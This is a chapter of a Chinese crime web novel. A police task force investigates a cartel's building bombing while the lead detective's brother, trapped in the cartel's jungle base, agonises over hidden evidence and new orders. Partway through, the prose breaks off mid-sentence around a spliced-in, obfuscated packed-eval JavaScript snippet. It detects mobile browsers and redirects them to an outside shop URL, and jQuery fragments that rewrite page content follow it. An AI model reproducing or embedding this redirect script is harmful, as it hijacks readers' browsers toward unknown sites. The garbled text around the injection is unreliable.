科技大厦坍塌惨案过去半月,城市表面的喧嚣渐渐归于平淡,街边商铺重新营业,道路车流恢复往日密度,网络上漫天流传的坍塌视频经过多轮管控、降温,相关热搜尽数下架,普通民众的注意力慢慢被新的日常琐事覆盖。
可许凌安所在的省级联合专案组,没有半分松懈。整间办公大厅昼夜灯火长明,墙面巨大的案情关系图铺满整片墙体,彩色线条密密麻麻缠绕,将边境山林枪击案、KTS深山据点、泼水节物资截获战、内陆科技大厦爆炸案全部串联,十名遇难人员的黑白照片整齐贴在一侧,时刻提醒所有人这场博弈付出的沉重代价。
连日来,全队人马拆分三条主线同步攻坚。一组人驻扎在坍塌废墟现场,持续挖掘残余物证,拆解□□碎片,交由理化实验室溯源□□;一组人梳理全城交通、车站、高速卡口监控,筛查爆炸前三个月所有进出本市的陌生外来人员;最后一组由许凌安亲自带队,重新搭建跨境情报渠道,试图重新打通与边境线内线的联络。
“□□配方已经完成比对。”一名理化技术员拿着检测报告快步走到许凌安面前,声音压抑沉重,“和当年我们在边境截获的KTS制毒配套爆破助剂成分高度吻合,原料来源锁定境外灰色化工渠道,国内没有任何正规厂商生产同款配比原料,百分百可以确定,幕后实施者就是KTS。”
许凌安接过报告,指尖抚过纸上密密麻麻的化学成分数据,心口一阵发闷。证据确凿,可最难突破的关卡依旧横在眼前——对方盘踞的深山据点有境外正规军队庇护,常规跨境抓捕行动根本无法落地,上次强行撤队的警告还清晰记在心底,贸然行动只会引发跨境冲突,造成更大伤亡。
“监控筛查有收获吗?”许凌安压下心头郁气,开口追问。
“有少量线索。”负责影像排查的队员调出屏幕里的监控截图,“爆炸前一个月,多名无身份备案的外籍人员分批入城,租住老旧城中村短租房,行动规律统一,白天闭门不出,夜间分头前往科技大厦周边踩点。事发当日凌晨,这群人统一乘坐几辆无牌越野车辆出城,朝着边境深山方向行驶,之后监控再也捕捉不到踪迹。”
画面里的人影模糊,全程刻意压低帽檐、遮挡面部,只能分辨大致身形,无法提取清晰人脸做比对。许凌安盯着屏幕上越野车辆消失的路口,缓缓开口:“这群人只是外围跑腿执行者,真正策划、测算爆破点位的核心人员,全程没有出现在公共监控之下。结合之前所有线索,许无意极有可能就是幕后技术核心。”
话音落下,办公室陷入一片沉默。所有人都清楚许无意的法医、理化专业能力,也清楚他如今深陷KTS,可一想到昔日并肩相守的兄弟,如今屡次为黑恶势力策划致命陷阱,一众队员心里五味杂陈。
“我们现在缺一条能直通深山据点的内线。”许凌安指尖点在边境地图的山林区域,“之前安插的线人全部失联,据点外围驻军封锁所有小道,寻常路人根本无法靠近。必须找到曾经从KTS逃出来的人员,获取内部完整布防、人员分工情报。”
会议结束后,许凌安独自留在办公室,窗外天色彻底沉入黑夜。他点开手机,反复翻看路人拍摄的大楼坍塌远景视频,目光下意识锁定楼顶天台那片空地——那里曾静静摆放许无意的证件,一件薄薄的证件,化作收割人命的诱饵,撕开一道无法愈合的伤口。
他无数次幻想,倘若一年前深山对峙时,许无意选择跟着自己离开,一切悲剧都不会发生。不会有边境遇害的年轻刑警,不会有市中心大楼崩塌、十条鲜活生命掩埋废墟。可现实没有重来的机会,林间小路那次半途折返,彻底将两人推向截然相反的两条道路。
“我不会放弃。”许凌安低声自语,指尖重重敲击桌面,“无论还要耗费多久,我一定要找到据点的突破口,既捣毁KTS,也带你走出来。”
与此同时,千里之外的边境深山据点,长夜同样无边无际。
整座山林进入最高等级封闭管控,所有对外山道永久封堵,每日多轮武装巡逻交叉覆盖,泰比轮亚·凯斯麾下的正规军队在山脚设立多重关卡,任何靠近山林的外来人员都会被直接驱离。内陆城市爆炸行动圆满落幕,组织上下沉浸在短暂的松弛氛围里,唯有许无意始终游离在这份平静之外。
白日里,他如常驻守检验室,处理源源不断从跨境渠道送来的各类样本,拆解毒素成分、记录反应数据,为组织地下流通货品出具风险评估;破晓时分,准时抵达后山训练场进行单手射击训练,消音枪械沉闷的击发声隐匿在林间风声里,每一枪都精准命中远处靶心,稳准快的枪法依旧是据点无人能及的水准。
两点一线的枯燥生活里,独处的深夜是他唯一能卸下所有伪装的时刻。这天深夜,检验室只剩他一人,仪器待机发出细微嗡鸣,室内光线昏暗,只有一盏台灯落在操作台。
许无意弯腰挪开储物柜,抽出夹层里珍藏许久的检测证据,一叠泛黄纸张、分装微量样本的密封小管静静躺在掌心。自内陆爆炸行动结束后,这份证据的分量变得格外沉重,他清楚自己亲手完成的建筑结构测算,直接造就了那场毁灭性坍塌,十条性命消散,他是间接推手,心底的负罪感日夜啃噬心神。
“你在看什么?”
清冷女声骤然从门口传来,许无意浑身一僵,飞快将所有资料塞回暗格,转身回头,看见宋彤站在检验室门框处,手中拿着夜间全域巡查登记册,不知已经在门外驻足多久。
他强压心底慌乱,面上恢复平淡:“只是翻看之前留存的旧检测记录,核对跨境样本数据,避免后续测算出现误差。”
宋彤缓步走入室内,目光扫过储物柜的缝隙,眼底掠过一丝了然,却没有上前翻查,只是静静站在操作台对面。经过内陆爆炸一案,首领泰比轮亚·凯斯十分看重许无意的技术价值,特意叮嘱她不得再随意猜忌、管控对方,因此她即便察觉到异样,也不会像从前那样直接下令突击搜查。
“内陆行动收尾工作全部完成,撤离人员、物资均安全归山,外界警方至今没有摸到我们据点的准确入口。”宋彤放下登记册,如实告知外界局势,“泰比轮亚首领刚才召集高层开会,决定暂停所有内陆潜入计划,未来半年全部重心放在边境跨境货品运输、新型毒素研发上。”
许无意轻轻点头:“知晓了,后续样本检测我会加急处理,保证不耽误运输进度。”
“你不必时刻逼自己紧绷。”宋彤难得放缓几分语气,看向他眼底浓重的青黑,“这段时间你兼顾勘测、检测、射击训练,几乎没有完整休息过一日。据点西侧闲置小院空着,若是烦闷,可以去那边独处散心,不会有人前去打扰。”
这番体谅来得突兀,许无意微微一怔,随即淡淡应声:“多谢。”
两人短暂的交谈到此为止,宋彤还有全域巡逻工作需要跟进,转身离开检验室,关门的轻响打破室内沉寂。
房门彻底闭合,许无意再度取出夹层里的证据,指尖摩挲纸面,心中生出两难抉择。他清楚许凌安必然不会放弃追查,此刻一定在国内整合所有线索,想方设法寻找潜入山林的渠道;可据点内
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637292|205039||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
外层层封锁,武装人员遍布每一条小路,哪怕他有机会传递情报,也极易当场暴露,届时不仅自己万劫不复,这份藏了许久的证据也会被直接销毁。
长久的挣扎后,他将资料妥善封存,锁好储物柜,熄灭台灯离开检验室,按照宋彤所说,走向西侧闲置小院。
小院栽种着低矮热带草木,四面围墙低矮,能清晰望见远处连绵山林轮廓,夜里风凉,吹散了实验室长久弥漫的化学药剂气味。许无意坐在院内石凳上,抬头望向头顶狭窄夜空,脑海交替浮现两幅画面:一幅是许凌安在专案组日夜操劳、满心期盼他回头的模样;另一幅是科技大厦崩塌时漫天烟尘、路人惊慌逃窜的场景。
他明明拥有拆解一切阴谋的关键证据,却被困在牢笼之中,进退不得。当初林间半路折返的悔恨、被迫举枪射杀巡防警员的煎熬、测算爆炸点位酿成惨案的愧疚,无数情绪缠绕交织,压得他喘不过气。
“无心为善,步步造恶。”许无意低声呢喃,眼底漫开一层淡淡的疲惫。
就在他独自静坐消解心绪时,远处主楼传来一阵有序脚步声,泰比轮亚·凯斯带着两名贴身护卫,径直走入小院。
许无意立刻起身垂首行礼。
泰比轮亚·凯斯抬手示意他无需多礼,缓步走到石凳旁坐下,目光望向远处漆黑山林,语气慵懒平淡:“内陆那场计划,你的功劳最大。单凭这份建筑爆破测算能力,整个组织无人能替代你。”
“我只是完成分内工作。”许无意依旧维持疏离克制的态度。
“不必过分谦卑。”泰比轮亚·凯斯侧头看向他,眼底藏着审视,“我清楚你心底始终存有杂念,怜悯外人,挂念城外的那位刑警兄长。但你要认清现实,如今你手上沾染的牵连无法抹去,就算你愿意投降,外界的律法、遇难者家属的恨意,也绝不会给你回头安稳度日的机会。”
这番话精准戳中许无意最深的顾虑。他不止一次幻想坦白一切、接受惩处,可十条人命因爆炸逝去,边境警员死于他枪下,累累罪责摆在眼前,他根本没有底气奢求宽恕。
“我明白。”许无意低声回应。
“明白便好。”泰比轮亚·凯斯轻笑一声,抛出新的任务安排,“下个月会大批量投产新型复合毒素,需要你全程跟进毒性、人体反应检测,同时增设夜间高处定点警戒任务,一旦发现山外有探查人员靠近,由你远距离处置。”
又是杀戮与黑暗交织的任务,许无意胸腔一阵发闷,却没有拒绝的资格,只能低头应下:“属下遵命。”
简短谈话结束,泰比轮亚·凯斯带着护卫离开小院,只留许无意一人立于草木之间。夜色愈发深沉,山间冷风不停吹拂,吹不散心底积压的沉重枷锁。
山外的专案组还在不眠不休梳理线索,四处寻访从KTS出逃的人员,试图撬开通往深山据点的突破口;山内的牢笼之中,许无意被不断委派高危任务,一边手握足以摧毁组织的证据,一边被迫持续为黑色产业链提供技术支撑。
一道边境群山,分割两条截然不同的人生路。许凌安在光明之中奋力寻找突破口,许无意深陷暗影之内日夜煎熬,两方的拉扯没有丝毫停歇,蛰伏之下,一场更大的冲突正在缓缓酝酿。
次日破晓,训练场的枪声准时响起。许无意单手举枪,瞄准远处靶心,扣动扳机的瞬间,心底仅存的一点微光,又黯淡几分。他清楚,只要一日困在KTS之中,他便永远无法摆脱身不由己的抉择,光明与他之间,隔着跨不过去的山林、武装壁垒,还有自己亲手造就的无数伤痕。